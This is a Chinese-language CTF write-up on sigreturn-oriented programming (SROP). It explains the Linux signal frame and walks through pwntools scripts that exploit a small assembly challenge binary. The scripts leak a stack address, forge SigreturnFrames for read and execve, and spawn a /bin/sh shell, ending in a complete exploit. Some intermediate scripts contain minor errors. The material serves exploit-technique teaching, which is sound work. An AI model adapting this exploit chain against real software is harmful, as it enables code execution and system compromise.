Before
感謝 naup 大大手把手教我怎麼串出 srop www, 然後也從他的 筆記中 參考了一些東東,請接受我的膜拜w
signal 機制
- kernel向process發起signal機制,Process暫時中斷,進入kernel
- 保存環境(簡單來說就是保存了各個暫存器的值,將所有東西壓入stack,並壓入signal相關訊息),這段記憶體被稱為Signal Frame
- 到signal handler處理
- 恢復環境
- 繼續執行process
signal frame:
struct _fpstate
{
/* FPU environment matching the 64-bit FXSAVE layout. */
__uint16_t cwd;
__uint16_t swd;
__uint16_t ftw;
__uint16_t fop;
__uint64_t rip;
__uint64_t rdp;
__uint32_t mxcsr;
__uint32_t mxcr_mask;
struct _fpxreg _st[8];
struct _xmmreg _xmm[16];
__uint32_t padding[24];
};
struct sigcontext
{
__uint64_t r8;
__uint64_t r9;
__uint64_t r10;
__uint64_t r11;
__uint64_t r12;
__uint64_t r13;
__uint64_t r14;
__uint64_t r15;
__uint64_t rdi;
__uint64_t rsi;
__uint64_t rbp;
__uint64_t rbx;
__uint64_t rdx;
__uint64_t rax;
__uint64_t rcx;
__uint64_t rsp;
__uint64_t rip;
__uint64_t eflags;
unsigned short cs;
unsigned short gs;
unsigned short fs;
unsigned short __pad0;
__uint64_t err;
__uint64_t trapno;
__uint64_t oldmask;
__uint64_t cr2;
__extension__ union
{
struct _fpstate * fpstate;
__uint64_t __fpstate_word;
};
__uint64_t __reserved1 [8];
};
漏洞在哪?
如果我們能控制Stack的值,因為他在恢復環境時沒有驗證,所以可以任意修改來串ROP(透過偽造sigframe來調用惡意syscall)
SROP前提:
- 有BOF
- 可以去系統調用 signature (或用read控rax之類的)
- /bin/sh 地址可以寫入並拿到該地址或是直接有目標及有位址
- syscall 地址
SROP Chain:
如果有ret,那可以構造像是這樣的 chain 來呼叫多個 syscall
SROP 觸發流程
- 控制stack
- 偽造Signal Frame
- 觸發Sigreturn
- get shell
demo iSoROPistic:
同: https://ephemerally.top/post/9
chal.asm:
; nasm -f elf64 chal.asm -o chal.o && ld chal.o -o chal
.text:
global _start
_start:
xor rax, rax
mov edx, 0x400
mov rsi, rsp
mov rdi, rax
syscall
ret
checksec:
ida:
解題整理
rax 代表你可以控 syscall 中的哪一個東西
看完 source 之後會發現,他其實利用了 systemcall table 的 read,因為在 Linux 中 rax = 0 會變成 call read
在考慮偽造 Signal Frame 的情況下,我們可以對多個暫存器以及堆疊指標進行控制,做到 syscall(59,‘/bin/sh’,0,0);59 就是 execve,相當於 execve(“/bin/sh”,0,0); 我們透過控制 read 讀入的位元組數,控制 rax=1,執行 write 系統呼叫,藉此洩漏堆疊位址。 偽造 Signal Frame 來實現 read,在指定位址讀入 “/bin/sh”。 控制 read 讀入的位元組數,實現 sigreturn 函式,套用我們剛剛偽造的暫存器和堆疊指標資訊。 在新的堆疊處,偽造 Signal Frame 來實現 execve。 再次控制 read 讀入的位元組數,觸發 sigreturn,最終拿到 shell。
解題思路
Leak Stack addr
程式運行的邏輯是 ret 第一次 -> call read -> 送 1bytes 進去 -> ret 第二次 call write
- 而這邊有一個 trick 是 rax return value 是讀到幾個 bytes
from pwn import *
import time
context.arch='amd64'
r=process('./chal')
#DEBUG=raw_input('Debug:y/n'+'\n')
DEBUG=input('Debug:y/n'+'\n')
if DEBUG=="y":
context.log_level = 'debug'
context.arch = 'amd64'
context.os = 'linux'
context.terminal = ['tmux', 'splitw', '-h', '-F' '#{pane_pid}', '-P']
def p():
gdb.attach(r)
payload1 = p64(0x401000)+p64(0x401000) # read -> write
r.send(payload1)
time.sleep(0.5)
r.send(b'\x03')
leak_stack=u64(r.recv()[8:16])
print('leak libc: ',hex(leak_stack))
r.interactive()
signal.return.read /bin/sh 預留位置給 /bin/sh
理解完上面的東西之後,我們要 call execve /bin/sh 需要先讓 sigreturn 正確地 恢復暫存器狀態,而且這邊也可以控制後續的 /bin/sh
而前面兩次 ret 完讓我們成功 leak stack addr , 讓我們需要再 call 一次 ret 到 start
我們也需要讓 syscall call 到 rt_sigreturn 所以們只能讀 15 bytes
from pwn import *
import time
r=process('./chal')
#DEBUG=raw_input('Debug:y/n'+'\n')
DEBUG=input('Debug:y/n'+'\n')
if DEBUG=="y":
context.log_level = 'debug'
context.arch = 'amd64'
context.os = 'linux'
context.terminal = ['tmux', 'splitw', '-h', '-F' '#{pane_pid}', '-P']
def p():
gdb.attach(r)
payload1 = p64(0x401000)+p64(0x401000)+p64(0x401000) # read -> write -> read
r.send(payload1)
time.sleep(0.5)
r.send(b'\x03')
leak_stack=u64(r.recv()[8:16])
print('leak libc: ',hex(leak_stack))
start=0x401000
syscall=0x40100e
read = SigreturnFrame()
read.rax = constants.SYS_read
read.rdi = 0
read.rsi = leak_stack
read.rdx = 0x400
read.rsp = leak_stack
read.rip = syscall
payload2=r.send(p64(start)+p64(syscall)+bytes(read))
r.send(payload2)
time.sleep(0.5)
r.send(payload2[8:23])
r.interactive()
流程->
payload2=r.send(p64(start)+p64(syscall)+bytes(read))
讓 payload 進來
start ->
syscall ->
read.SigreturnFrame
ret跳回start,讀15個byte進來
syscall
read.SigreturnFrame
ret到syscall,現在rax=15(call sys_rt_sigreturn)
read.SigreturnFrame
回復位置成read.SigreturnFrame的樣子
call signal.ret.execve /bin/sh
execve = SigreturnFrame()
execve.rax = constants.SYS_execve
execve.rdi = leak_stack_base + 0x108
execve.rsi = 0x0
execve.rdx = 0x0
execve.rsp = leak_stack_base
execve.rip = syscall
payload5 = p64(start)+p64(syscall)+bytes(execve)
print(len(payload5))
payload5 += b'/bin/sh\x00'
r.send(payload5)
r.send(payload5[8:23])
讓剛剛設定好的 signal.ret.read /bin/sh 去被 sginal.ret.execve 讀到
final exploit.py
from pwn import *
import time
context.arch='amd64'
r=process('./chal')
#DEBUG=raw_input('Debug:y/n'+'\n')
DEBUG=input('Debug:y/n'+'\n')
if DEBUG=="y":
context.log_level = 'debug'
context.arch = 'amd64'
context.os = 'linux'
context.terminal = ['tmux', 'splitw', '-h', '-F' '#{pane_pid}', '-P']
def p():
gdb.attach(r)
payload1 = p64(0x401000)+p64(0x401000)+p64(0x401000) # read -> write -> read
r.send(payload1)
time.sleep(0.5)
r.send(b'\x03')
leak_stack=u64(r.recv()[8:16])
print('leak libc: ',hex(leak_stack))
#leak stack addr
start=0x401000
syscall=0x40100e
read = SigreturnFrame()
read.rax = constants.SYS_read
read.rdi = 0
read.rsi = leak_stack
read.rdx = 0x400
read.rsp = leak_stack
read.rip = syscall
payload2=(p64(start)+p64(syscall)+bytes(read))
r.send(payload2)
time.sleep(0.5)
r.send(payload2[8:23])
#call signal.read
execve = SigreturnFrame()
execve.rax = constants.SYS_execve
execve.rdi = leak_stack+ 0x108 # /bin/sh的偏移
execve.rsi = 0x0
execve.rdx = 0x0
execve.rsp = leak_stack
execve.rip = syscall
payload3=p64(start)+p64(syscall)+bytes(execve)+b'/bin/sh\x00'
print(len(payload3))
time.sleep(0.5)
r.send(payload3)
time.sleep(0.5)
r.send(payload3[8:23])
#call signal.execve
r.interactive()
Reference
https://xz.aliyun.com/t/13313?time__1311=GqmxuD2DgQi%3DD%3DD%2FD0erGktKq0KlPgr4rD#toc-1